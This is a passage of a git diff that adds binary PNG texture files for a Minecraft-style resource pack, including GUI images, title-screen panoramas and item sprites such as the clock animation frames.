/dev/null and b/src/assets/minecraft/textures/gui/presets/isles.png differ diff --git a/src/assets/minecraft/textures/gui/recipe_book.png b/src/assets/minecraft/textures/gui/recipe_book.png new file mode 100644 index 00000000..199b746a Binary files /dev/null and b/src/assets/minecraft/textures/gui/recipe_book.png differ diff --git a/src/assets/minecraft/textures/gui/recipe_button.png b/src/assets/minecraft/textures/gui/recipe_button.png new file mode 100644 index 00000000..3be6b1ca Binary files /dev/null and b/src/assets/minecraft/textures/gui/recipe_button.png differ diff --git a/src/assets/minecraft/textures/gui/resource_packs.png b/src/assets/minecraft/textures/gui/resource_packs.png new file mode 100644 index 00000000..4e90d743 Binary files /dev/null and b/src/assets/minecraft/textures/gui/resource_packs.png differ diff --git a/src/assets/minecraft/textures/gui/server_selection.png b/src/assets/minecraft/textures/gui/server_selection.png new file mode 100644 index 00000000..74b06b3d Binary files /dev/null and b/src/assets/minecraft/textures/gui/server_selection.png differ diff --git a/src/assets/minecraft/textures/gui/social_interactions.png b/src/assets/minecraft/textures/gui/social_interactions.png new file mode 100644 index 00000000..54a3fc3f Binary files /dev/null and b/src/assets/minecraft/textures/gui/social_interactions.png differ diff --git a/src/assets/minecraft/textures/gui/spectator_widgets.png b/src/assets/minecraft/textures/gui/spectator_widgets.png new file mode 100644 index 00000000..26cc3dc2 Binary files /dev/null and b/src/assets/minecraft/textures/gui/spectator_widgets.png differ diff --git a/src/assets/minecraft/textures/gui/stream_indicator.png b/src/assets/minecraft/textures/gui/stream_indicator.png new file mode 100644 index 00000000..48e1575a Binary files /dev/null and b/src/assets/minecraft/textures/gui/stream_indicator.png differ diff --git a/src/assets/minecraft/textures/gui/title/background/panorama_0.png b/src/assets/minecraft/textures/gui/title/background/panorama_0.png new file mode 100644 index 00000000..1ccd8b27 Binary files /dev/null and b/src/assets/minecraft/textures/gui/title/background/panorama_0.png differ diff --git a/src/assets/minecraft/textures/gui/title/background/panorama_1.png b/src/assets/minecraft/textures/gui/title/background/panorama_1.png new file mode 100644 index 00000000..1ccd8b27 Binary files /dev/null and b/src/assets/minecraft/textures/gui/title/background/panorama_1.png differ diff --git a/src/assets/minecraft/textures/gui/title/background/panorama_2.png b/src/assets/minecraft/textures/gui/title/background/panorama_2.png new file mode 100644 index 00000000..1ccd8b27 Binary files /dev/null and b/src/assets/minecraft/textures/gui/title/background/panorama_2.png differ diff --git a/src/assets/minecraft/textures/gui/title/background/panorama_3.png b/src/assets/minecraft/textures/gui/title/background/panorama_3.png new file mode 100644 index 00000000..1ccd8b27 Binary files /dev/null and b/src/assets/minecraft/textures/gui/title/background/panorama_3.png differ diff --git a/src/assets/minecraft/textures/gui/title/background/panorama_4.png b/src/assets/minecraft/textures/gui/title/background/panorama_4.png new file mode 100644 index 00000000..1ccd8b27 Binary files /dev/null and b/src/assets/minecraft/textures/gui/title/background/panorama_4.png differ diff --git a/src/assets/minecraft/textures/gui/title/background/panorama_5.png b/src/assets/minecraft/textures/gui/title/background/panorama_5.png new file mode 100644 index 00000000..1ccd8b27 Binary files /dev/null and b/src/assets/minecraft/textures/gui/title/background/panorama_5.png differ diff --git a/src/assets/minecraft/textures/gui/title/background/panorama_overlay.png b/src/assets/minecraft/textures/gui/title/background/panorama_overlay.png new file mode 100644 index 00000000..d4c5c357 Binary files /dev/null and b/src/assets/minecraft/textures/gui/title/background/panorama_overlay.png differ diff --git a/src/assets/minecraft/textures/gui/title/edition.png b/src/assets/minecraft/textures/gui/title/edition.png new file mode 100644 index 00000000..f6e2de3d Binary files /dev/null and b/src/assets/minecraft/textures/gui/title/edition.png differ diff --git a/src/assets/minecraft/textures/gui/title/minecraft.png b/src/assets/minecraft/textures/gui/title/minecraft.png new file mode 100644 index 00000000..832c132f Binary files /dev/null and b/src/assets/minecraft/textures/gui/title/minecraft.png differ diff --git a/src/assets/minecraft/textures/gui/title/mojangstudios.png b/src/assets/minecraft/textures/gui/title/mojangstudios.png new file mode 100644 index 00000000..557113a1 Binary files /dev/null and b/src/assets/minecraft/textures/gui/title/mojangstudios.png differ diff --git a/src/assets/minecraft/textures/gui/toasts.png b/src/assets/minecraft/textures/gui/toasts.png new file mode 100644 index 00000000..f12b3ea2 Binary files /dev/null and b/src/assets/minecraft/textures/gui/toasts.png differ diff --git a/src/assets/minecraft/textures/gui/widgets.png b/src/assets/minecraft/textures/gui/widgets.png new file mode 100644 index 00000000..8f7802ae Binary files /dev/null and b/src/assets/minecraft/textures/gui/widgets.png differ diff --git a/src/assets/minecraft/textures/gui/world_selection.png b/src/assets/minecraft/textures/gui/world_selection.png new file mode 100644 index 00000000..866c63cc Binary files /dev/null and b/src/assets/minecraft/textures/gui/world_selection.png differ diff --git a/src/assets/minecraft/textures/item/acacia_boat.png b/src/assets/minecraft/textures/item/acacia_boat.png new file mode 100644 index 00000000..f9bf658f Binary files /dev/null and b/src/assets/minecraft/textures/item/acacia_boat.png differ diff --git a/src/assets/minecraft/textures/item/acacia_door.png b/src/assets/minecraft/textures/item/acacia_door.png new file mode 100644 index 00000000..201f93a7 Binary files /dev/null and b/src/assets/minecraft/textures/item/acacia_door.png differ diff --git a/src/assets/minecraft/textures/item/acacia_sign.png b/src/assets/minecraft/textures/item/acacia_sign.png new file mode 100644 index 00000000..8d8bb59a Binary files /dev/null and b/src/assets/minecraft/textures/item/acacia_sign.png differ diff --git a/src/assets/minecraft/textures/item/apple.png b/src/assets/minecraft/textures/item/apple.png new file mode 100644 index 00000000..3ee2b885 Binary files /dev/null and b/src/assets/minecraft/textures/item/apple.png differ diff --git a/src/assets/minecraft/textures/item/armor_stand.png b/src/assets/minecraft/textures/item/armor_stand.png new file mode 100644 index 00000000..c65badeb Binary files /dev/null and b/src/assets/minecraft/textures/item/armor_stand.png differ diff --git a/src/assets/minecraft/textures/item/arrow.png b/src/assets/minecraft/textures/item/arrow.png new file mode 100644 index 00000000..4f748a00 Binary files /dev/null and b/src/assets/minecraft/textures/item/arrow.png differ diff --git a/src/assets/minecraft/textures/item/baked_potato.png b/src/assets/minecraft/textures/item/baked_potato.png new file mode 100644 index 00000000..c8d3cbab Binary files /dev/null and b/src/assets/minecraft/textures/item/baked_potato.png differ diff --git a/src/assets/minecraft/textures/item/bamboo.png b/src/assets/minecraft/textures/item/bamboo.png new file mode 100644 index 00000000..1f974a1b Binary files /dev/null and b/src/assets/minecraft/textures/item/bamboo.png differ diff --git a/src/assets/minecraft/textures/item/barrier.png b/src/assets/minecraft/textures/item/barrier.png new file mode 100644 index 00000000..2e68169e Binary files /dev/null and b/src/assets/minecraft/textures/item/barrier.png differ diff --git a/src/assets/minecraft/textures/item/beef.png b/src/assets/minecraft/textures/item/beef.png new file mode 100644 index 00000000..6334716a Binary files /dev/null and b/src/assets/minecraft/textures/item/beef.png differ diff --git a/src/assets/minecraft/textures/item/beetroot.png b/src/assets/minecraft/textures/item/beetroot.png new file mode 100644 index 00000000..48ccf011 Binary files /dev/null and b/src/assets/minecraft/textures/item/beetroot.png differ diff --git a/src/assets/minecraft/textures/item/beetroot_seeds.png b/src/assets/minecraft/textures/item/beetroot_seeds.png new file mode 100644 index 00000000..f7529ad7 Binary files /dev/null and b/src/assets/minecraft/textures/item/beetroot_seeds.png differ diff --git a/src/assets/minecraft/textures/item/beetroot_soup.png b/src/assets/minecraft/textures/item/beetroot_soup.png new file mode 100644 index 00000000..e26fe6e7 Binary files /dev/null and b/src/assets/minecraft/textures/item/beetroot_soup.png differ diff --git a/src/assets/minecraft/textures/item/bell.png b/src/assets/minecraft/textures/item/bell.png new file mode 100644 index 00000000..21cb4c69 Binary files /dev/null and b/src/assets/minecraft/textures/item/bell.png differ diff --git a/src/assets/minecraft/textures/item/birch_boat.png b/src/assets/minecraft/textures/item/birch_boat.png new file mode 100644 index 00000000..2c1ba55d Binary files /dev/null and b/src/assets/minecraft/textures/item/birch_boat.png differ diff --git a/src/assets/minecraft/textures/item/birch_door.png b/src/assets/minecraft/textures/item/birch_door.png new file mode 100644 index 00000000..d279ef1b Binary files /dev/null and b/src/assets/minecraft/textures/item/birch_door.png differ diff --git a/src/assets/minecraft/textures/item/birch_sign.png b/src/assets/minecraft/textures/item/birch_sign.png new file mode 100644 index 00000000..695a53d6 Binary files /dev/null and b/src/assets/minecraft/textures/item/birch_sign.png differ diff --git a/src/assets/minecraft/textures/item/black_dye.png b/src/assets/minecraft/textures/item/black_dye.png new file mode 100644 index 00000000..727c2c59 Binary files /dev/null and b/src/assets/minecraft/textures/item/black_dye.png differ diff --git a/src/assets/minecraft/textures/item/blaze_powder.png b/src/assets/minecraft/textures/item/blaze_powder.png new file mode 100644 index 00000000..89c57d6e Binary files /dev/null and b/src/assets/minecraft/textures/item/blaze_powder.png differ diff --git a/src/assets/minecraft/textures/item/blaze_rod.png b/src/assets/minecraft/textures/item/blaze_rod.png new file mode 100644 index 00000000..7050e10f Binary files /dev/null and b/src/assets/minecraft/textures/item/blaze_rod.png differ diff --git a/src/assets/minecraft/textures/item/blue_dye.png b/src/assets/minecraft/textures/item/blue_dye.png new file mode 100644 index 00000000..481e4d0b Binary files /dev/null and b/src/assets/minecraft/textures/item/blue_dye.png differ diff --git a/src/assets/minecraft/textures/item/bone.png b/src/assets/minecraft/textures/item/bone.png new file mode 100644 index 00000000..d30c7e32 Binary files /dev/null and b/src/assets/minecraft/textures/item/bone.png differ diff --git a/src/assets/minecraft/textures/item/bone_meal.png b/src/assets/minecraft/textures/item/bone_meal.png new file mode 100644 index 00000000..74dc137a Binary files /dev/null and b/src/assets/minecraft/textures/item/bone_meal.png differ diff --git a/src/assets/minecraft/textures/item/book.png b/src/assets/minecraft/textures/item/book.png new file mode 100644 index 00000000..68abee66 Binary files /dev/null and b/src/assets/minecraft/textures/item/book.png differ diff --git a/src/assets/minecraft/textures/item/bow.png b/src/assets/minecraft/textures/item/bow.png new file mode 100644 index 00000000..d709b9c8 Binary files /dev/null and b/src/assets/minecraft/textures/item/bow.png differ diff --git a/src/assets/minecraft/textures/item/bow_pulling_0.png b/src/assets/minecraft/textures/item/bow_pulling_0.png new file mode 100644 index 00000000..2022aabd Binary files /dev/null and b/src/assets/minecraft/textures/item/bow_pulling_0.png differ diff --git a/src/assets/minecraft/textures/item/bow_pulling_1.png b/src/assets/minecraft/textures/item/bow_pulling_1.png new file mode 100644 index 00000000..a1320795 Binary files /dev/null and b/src/assets/minecraft/textures/item/bow_pulling_1.png differ diff --git a/src/assets/minecraft/textures/item/bow_pulling_2.png b/src/assets/minecraft/textures/item/bow_pulling_2.png new file mode 100644 index 00000000..d459e685 Binary files /dev/null and b/src/assets/minecraft/textures/item/bow_pulling_2.png differ diff --git a/src/assets/minecraft/textures/item/bowl.png b/src/assets/minecraft/textures/item/bowl.png new file mode 100644 index 00000000..826be5a4 Binary files /dev/null and b/src/assets/minecraft/textures/item/bowl.png differ diff --git a/src/assets/minecraft/textures/item/bread.png b/src/assets/minecraft/textures/item/bread.png new file mode 100644 index 00000000..b3943266 Binary files /dev/null and b/src/assets/minecraft/textures/item/bread.png differ diff --git a/src/assets/minecraft/textures/item/brewing_stand.png b/src/assets/minecraft/textures/item/brewing_stand.png new file mode 100644 index 00000000..963b4dd3 Binary files /dev/null and b/src/assets/minecraft/textures/item/brewing_stand.png differ diff --git a/src/assets/minecraft/textures/item/brick.png b/src/assets/minecraft/textures/item/brick.png new file mode 100644 index 00000000..1fb55776 Binary files /dev/null and b/src/assets/minecraft/textures/item/brick.png differ diff --git a/src/assets/minecraft/textures/item/broken_elytra.png b/src/assets/minecraft/textures/item/broken_elytra.png new file mode 100644 index 00000000..dd92e7f7 Binary files /dev/null and b/src/assets/minecraft/textures/item/broken_elytra.png differ diff --git a/src/assets/minecraft/textures/item/brown_dye.png b/src/assets/minecraft/textures/item/brown_dye.png new file mode 100644 index 00000000..58f6704e Binary files /dev/null and b/src/assets/minecraft/textures/item/brown_dye.png differ diff --git a/src/assets/minecraft/textures/item/bucket.png b/src/assets/minecraft/textures/item/bucket.png new file mode 100644 index 00000000..735a4afb Binary files /dev/null and b/src/assets/minecraft/textures/item/bucket.png differ diff --git a/src/assets/minecraft/textures/item/cake.png b/src/assets/minecraft/textures/item/cake.png new file mode 100644 index 00000000..47bc31f5 Binary files /dev/null and b/src/assets/minecraft/textures/item/cake.png differ diff --git a/src/assets/minecraft/textures/item/campfire.png b/src/assets/minecraft/textures/item/campfire.png new file mode 100644 index 00000000..bba44f30 Binary files /dev/null and b/src/assets/minecraft/textures/item/campfire.png differ diff --git a/src/assets/minecraft/textures/item/carrot.png b/src/assets/minecraft/textures/item/carrot.png new file mode 100644 index 00000000..620ce48b Binary files /dev/null and b/src/assets/minecraft/textures/item/carrot.png differ diff --git a/src/assets/minecraft/textures/item/carrot_on_a_stick.png b/src/assets/minecraft/textures/item/carrot_on_a_stick.png new file mode 100644 index 00000000..51b51919 Binary files /dev/null and b/src/assets/minecraft/textures/item/carrot_on_a_stick.png differ diff --git a/src/assets/minecraft/textures/item/cauldron.png b/src/assets/minecraft/textures/item/cauldron.png new file mode 100644 index 00000000..8aabc21c Binary files /dev/null and b/src/assets/minecraft/textures/item/cauldron.png differ diff --git a/src/assets/minecraft/textures/item/chain.png b/src/assets/minecraft/textures/item/chain.png new file mode 100644 index 00000000..b64bfa4f Binary files /dev/null and b/src/assets/minecraft/textures/item/chain.png differ diff --git a/src/assets/minecraft/textures/item/chainmail_boots.png b/src/assets/minecraft/textures/item/chainmail_boots.png new file mode 100644 index 00000000..6857585f Binary files /dev/null and b/src/assets/minecraft/textures/item/chainmail_boots.png differ diff --git a/src/assets/minecraft/textures/item/chainmail_chestplate.png b/src/assets/minecraft/textures/item/chainmail_chestplate.png new file mode 100644 index 00000000..8d32264d Binary files /dev/null and b/src/assets/minecraft/textures/item/chainmail_chestplate.png differ diff --git a/src/assets/minecraft/textures/item/chainmail_helmet.png b/src/assets/minecraft/textures/item/chainmail_helmet.png new file mode 100644 index 00000000..0865f14b Binary files /dev/null and b/src/assets/minecraft/textures/item/chainmail_helmet.png differ diff --git a/src/assets/minecraft/textures/item/chainmail_leggings.png b/src/assets/minecraft/textures/item/chainmail_leggings.png new file mode 100644 index 00000000..4198cc5f Binary files /dev/null and b/src/assets/minecraft/textures/item/chainmail_leggings.png differ diff --git a/src/assets/minecraft/textures/item/charcoal.png b/src/assets/minecraft/textures/item/charcoal.png new file mode 100644 index 00000000..9f7ee32d Binary files /dev/null and b/src/assets/minecraft/textures/item/charcoal.png differ diff --git a/src/assets/minecraft/textures/item/chest_minecart.png b/src/assets/minecraft/textures/item/chest_minecart.png new file mode 100644 index 00000000..7a9e5d45 Binary files /dev/null and b/src/assets/minecraft/textures/item/chest_minecart.png differ diff --git a/src/assets/minecraft/textures/item/chicken.png b/src/assets/minecraft/textures/item/chicken.png new file mode 100644 index 00000000..34dc33ac Binary files /dev/null and b/src/assets/minecraft/textures/item/chicken.png differ diff --git a/src/assets/minecraft/textures/item/chorus_fruit.png b/src/assets/minecraft/textures/item/chorus_fruit.png new file mode 100644 index 00000000..676e2cea Binary files /dev/null and b/src/assets/minecraft/textures/item/chorus_fruit.png differ diff --git a/src/assets/minecraft/textures/item/clay_ball.png b/src/assets/minecraft/textures/item/clay_ball.png new file mode 100644 index 00000000..786b1a37 Binary files /dev/null and b/src/assets/minecraft/textures/item/clay_ball.png differ diff --git a/src/assets/minecraft/textures/item/clock_00.png b/src/assets/minecraft/textures/item/clock_00.png new file mode 100644 index 00000000..ef06df78 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_00.png differ diff --git a/src/assets/minecraft/textures/item/clock_01.png b/src/assets/minecraft/textures/item/clock_01.png new file mode 100644 index 00000000..558826e9 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_01.png differ diff --git a/src/assets/minecraft/textures/item/clock_02.png b/src/assets/minecraft/textures/item/clock_02.png new file mode 100644 index 00000000..566342d8 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_02.png differ diff --git a/src/assets/minecraft/textures/item/clock_03.png b/src/assets/minecraft/textures/item/clock_03.png new file mode 100644 index 00000000..823f4133 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_03.png differ diff --git a/src/assets/minecraft/textures/item/clock_04.png b/src/assets/minecraft/textures/item/clock_04.png new file mode 100644 index 00000000..6bdf2c56 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_04.png differ diff --git a/src/assets/minecraft/textures/item/clock_05.png b/src/assets/minecraft/textures/item/clock_05.png new file mode 100644 index 00000000..ce75473a Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_05.png differ diff --git a/src/assets/minecraft/textures/item/clock_06.png b/src/assets/minecraft/textures/item/clock_06.png new file mode 100644 index 00000000..35118583 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_06.png differ diff --git a/src/assets/minecraft/textures/item/clock_07.png b/src/assets/minecraft/textures/item/clock_07.png new file mode 100644 index 00000000..faffee0f Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_07.png differ diff --git a/src/assets/minecraft/textures/item/clock_08.png b/src/assets/minecraft/textures/item/clock_08.png new file mode 100644 index 00000000..a712e570 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_08.png differ diff --git a/src/assets/minecraft/textures/item/clock_09.png b/src/assets/minecraft/textures/item/clock_09.png new file mode 100644 index 00000000..f89d9d82 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_09.png differ diff --git a/src/assets/minecraft/textures/item/clock_10.png b/src/assets/minecraft/textures/item/clock_10.png new file mode 100644 index 00000000..93765b84 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_10.png differ diff --git a/src/assets/minecraft/textures/item/clock_11.png b/src/assets/minecraft/textures/item/clock_11.png new file mode 100644 index 00000000..649e0c26 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_11.png differ diff --git a/src/assets/minecraft/textures/item/clock_12.png b/src/assets/minecraft/textures/item/clock_12.png new file mode 100644 index 00000000..581c5fb5 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_12.png differ diff --git a/src/assets/minecraft/textures/item/clock_13.png b/src/assets/minecraft/textures/item/clock_13.png new file mode 100644 index 00000000..f99f4edd Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_13.png differ diff --git a/src/assets/minecraft/textures/item/clock_14.png b/src/assets/minecraft/textures/item/clock_14.png new file mode 100644 index 00000000..c06960f8 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_14.png differ diff --git a/src/assets/minecraft/textures/item/clock_15.png b/src/assets/minecraft/textures/item/clock_15.png new file mode 100644 index 00000000..655cc269 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_15.png differ diff --git a/src/assets/minecraft/textures/item/clock_16.png b/src/assets/minecraft/textures/item/clock_16.png new file mode 100644 index 00000000..1e6d2675 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_16.png differ diff --git a/src/assets/minecraft/textures/item/clock_17.png b/src/assets/minecraft/textures/item/clock_17.png new file mode 100644 index 00000000..a159a038 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_17.png differ diff --git a/src/assets/minecraft/textures/item/clock_18.png b/src/assets/minecraft/textures/item/clock_18.png new file mode 100644 index 00000000..3de00852 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_18.png differ diff --git a/src/assets/minecraft/textures/item/clock_19.png b/src/assets/minecraft/textures/item/clock_19.png new file mode 100644 index 00000000..c311f89f Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_19.png differ diff --git a/src/assets/minecraft/textures/item/clock_20.png b/src/assets/minecraft/textures/item/clock_20.png new file mode 100644 index 00000000..9e23788d Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_20.png differ diff --git a/src/assets/minecraft/textures/item/clock_21.png b/src/assets/minecraft/textures/item/clock_21.png new file mode 100644 index 00000000..ef1426d5 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_21.png differ diff --git a/src/assets/minecraft/textures/item/clock_22.png b/src/assets/minecraft/textures/item/clock_22.png new file mode 100644 index 00000000..2a4d1063 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_22.png differ diff --git a/src/assets/minecraft/textures/item/clock_23.png b/src/assets/minecraft/textures/item/clock_23.png new file mode 100644 index 00000000..6ac7b236 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_23.png differ diff --git a/src/assets/minecraft/textures/item/clock_24.png b/src/assets/minecraft/textures/item/clock_24.png new file mode 100644 index 00000000..38909b9a Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_24.png differ diff --git a/src/assets/minecraft/textures/item/clock_25.png b/src/assets/minecraft/textures/item/clock_25.png new file mode 100644 index 00000000..9a007549 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_25.png differ diff --git a/src/assets/minecraft/textures/item/clock_26.png b/src/assets/minecraft/textures/item/clock_26.png new file mode 100644 index 00000000..b5abba3f Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_26.png differ diff --git a/src/assets/minecraft/textures/item/clock_27.png b/src/assets/minecraft/textures/item/clock_27.png new file mode 100644 index 00000000..a172a0c4 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_27.png differ diff --git a/src/assets/minecraft/textures/item/clock_28.png b/src/assets/minecraft/textures/item/clock_28.png new file mode 100644 index 00000000..0a7b26bb Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_28.png differ diff --git a/src/assets/minecraft/textures/item/clock_29.png b/src/assets/minecraft/textures/item/clock_29.png new file mode 100644 index 00000000..e9f1e56c Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_29.png differ diff --git a/src/assets/minecraft/textures/item/clock_30.png b/src/assets/minecraft/textures/item/clock_30.png new file mode 100644 index 00000000..7cb68598 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_30.png differ diff --git a/src/assets/minecraft/textures/item/clock_31.png b/src/assets/minecraft/textures/item/clock_31.png new file mode 100644 index 00000000..4bfff485 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_31.png differ diff --git a/src/assets/minecraft/textures/item/clock_32.png b/src/assets/minecraft/textures/item/clock_32.png new file mode 100644 index 00000000..54537edd Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_32.png differ diff --git a/src/assets/minecraft/textures/item/clock_33.png b/src/assets/minecraft/textures/item/clock_33.png new file mode 100644 index 00000000..4645b924 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_33.png differ diff --git a/src/assets/minecraft/textures/item/clock_34.png b/src/assets/minecraft/textures/item/clock_34.png new file mode 100644 index 00000000..3d04df72 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_34.png differ diff --git a/src/assets/minecraft/textures/item/clock_35.png b/src/assets/minecraft/textures/item/clock_35.png new file mode 100644 index 00000000..b0b13749 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_35.png differ diff --git a/src/assets/minecraft/textures/item/clock_36.png b/src/assets/minecraft/textures/item/clock_36.png new file mode 100644 index 00000000..cb6bfbfb Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_36.png differ diff --git a/src/assets/minecraft/textures/item/clock_37.png b/src/assets/minecraft/textures/item/clock_37.png new file mode 100644 index 00000000..816b257f Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_37.png differ diff --git a/src/assets/minecraft/textures/item/clock_38.png b/src/assets/minecraft/textures/item/clock_38.png new file mode 100644 index 00000000..c3aa0160 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_38.png differ diff --git a/src/assets/minecraft/textures/item/clock_39.png b/src/assets/minecraft/textures/item/clock_39.png new file mode 100644 index 00000000..f81d5a61 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_39.png differ diff --git a/src/assets/minecraft/textures/item/clock_40.png b/src/assets/minecraft/textures/item/clock_40.png new file mode 100644 index 00000000..77964678 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_40.png differ diff --git a/src/assets/minecraft/textures/item/clock_41.png b/src/assets/minecraft/textures/item/clock_41.png new file mode 100644 index 00000000..1f804564 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_41.png differ diff --git a/src/assets/minecraft/textures/item/clock_42.png b/src/assets/minecraft/textures/item/clock_42.png new file mode 100644 index 00000000..3b120d97 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_42.png differ diff --git a/src/assets/minecraft/textures/item/clock_43.png b/src/assets/minecraft/textures/item/clock_43.png new file mode 100644 index 00000000..e1b48343 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_43.png differ diff --git a/src/assets/minecraft/textures/item/clock_44.png b/src/assets/minecraft/textures/item/clock_44.png new file mode 100644 index 00000000..851489a3 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_44.png differ diff --git a/src/assets/minecraft/textures/item/clock_45.png b/src/assets/minecraft/textures/item/clock_45.png new file mode 100644 index 00000000..086ec28f Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_45.png differ diff --git a/src/assets/minecraft/textures/item/clock_46.png b/src/assets/minecraft/textures/item/clock_46.png new file mode 100644 index 00000000..3b0bca4b Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_46.png differ diff --git a/src/assets/minecraft/textures/item/clock_47.png b/src/assets/minecraft/textures/item/clock_47.png new file mode 100644 index 00000000..ec92161d Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_47.png differ diff --git a/src/assets/minecraft/textures/item/clock_48.png b/src/assets/minecraft/textures/item/clock_48.png new file mode 100644 index 00000000..1a00a5ac Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_48.png differ diff --git a/src/assets/minecraft/textures/item/clock_49.png b/src/assets/minecraft/textures/item/clock_49.png new file mode 100644 index 00000000..13e08b95 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_49.png differ diff --git a/src/assets/minecraft/textures/item/clock_50.png b/src/assets/minecraft/textures/item/clock_50.png new file mode 100644 index 00000000..39edd8c0 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_50.png differ diff --git a/src/assets/minecraft/textures/item/clock_51.png b/src/assets/minecraft/textures/item/clock_51.png new file mode 100644 index 00000000..fa4614ed Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_51.png differ diff --git a/src/assets/minecraft/textures/item/clock_52.png b/src/assets/minecraft/textures/item/clock_52.png new file mode 100644 index 00000000..6578dc17 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_52.png differ diff --git a/src/assets/minecraft/textures/item/clock_53.png b/src/assets/minecraft/textures/item/clock_53.png new file mode 100644 index 00000000..882cdd09 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_53.png differ diff --git a/src/assets/minecraft/textures/item/clock_54.png b/src/assets/minecraft/textures/item/clock_54.png new file mode 100644 index 00000000..d6af37bd Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_54.png differ diff --git a/src/assets/minecraft/textures/item/clock_55.png b/src/assets/minecraft/textures/item/clock_55.png new file mode 100644 index 00000000..909d24fd Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_55.png differ diff --git a/src/assets/minecraft/textures/item/clock_56.png b/src/assets/minecraft/textures/item/clock_56.png new file mode 100644 index 00000000..f8ac1095 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_56.png differ diff --git a/src/assets/minecraft/textures/item/clock_57.png b/src/assets/minecraft/textures/item/clock_57.png new file mode 100644 index 00000000..edfc89ff Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_57.png differ diff --git a/src/assets/minecraft/textures/item/clock_58.png b/src/assets/minecraft/textures/item/clock_58.png new file mode 100644 index 00000000..76f6f933 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_58.png differ diff --git a/src/assets/minecraft/textures/item/clock_59.png b/src/assets/minecraft/textures/item/clock_59.png new file mode 100644 index 00000000..9b01436d Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_59.png differ diff --git a/src/assets/minecraft/textures/item/clock_60.png b/src/assets/minecraft/textures/item/clock_60.png new file mode 100644 index 00000000..3074f9c7 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_60.png differ diff --git a/src/assets/minecraft/textures/item/clock_61.png b/src/assets/minecraft/textures/item/clock_61.png new file mode 100644 index 00000000..ca7b584f Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_61.png differ diff --git a/src/assets/minecraft/textures/item/clock_62.png b/src/assets/minecraft/textures/item/clock_62.png new file mode 100644 index 00000000..1f014d60 Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_62.png differ diff --git a/src/assets/minecraft/textures/item/clock_63.png b/src/assets/minecraft/textures/item/clock_63.png new file mode 100644 index 00000000..4c55f08c Binary files /dev/null and b/src/assets/minecraft/textures/item/clock_63.png differ diff --git a/src/assets/minecraft/textures/item/coal.png b/src/assets/minecraft/textures/item/coal.png new file mode 100644 index 00000000..513e9c69 Binary files /dev/null and b/src/assets/minecraft/textures/item/coal.png differ diff --git a/src/assets/minecraft/textures/item/cocoa_beans.png b/src/assets/minecraft/textures/item/cocoa_beans.png new file mode 100644 index 00000000..90b51d63 Binary files /dev/null and b/src/assets/minecraft/textures/item/cocoa_beans.png differ diff --git a/src/assets/minecraft/textures/item/cod.png b/src/assets/minecraft/textures/item/cod.png new file mode 100644 index 00000000..6a321e27 Binary files /dev/null and b/src/assets/minecraft/textures/item/cod.png differ diff --git a/src/assets/minecraft/textures/item/cod_bucket.png b/src/assets/minecraft/textures/item/cod_bucket.png new file mode 100644 index 00000000..22095ce0 Binary files /dev/null and b/src/assets/minecraft/textures/item/cod_bucket.png differ diff --git a/src/assets/minecraft/textures/item/command_block_minecart.png b/src/assets/minecraft/textures/item/command_block_minecart.png new file mode 100644 index 00000000..efe6feb2 Binary files /dev/null and b/src/assets/minecraft/textures/item/command_block_minecart.png differ diff --git a/src/assets/minecraft/textures/item/comparator.png 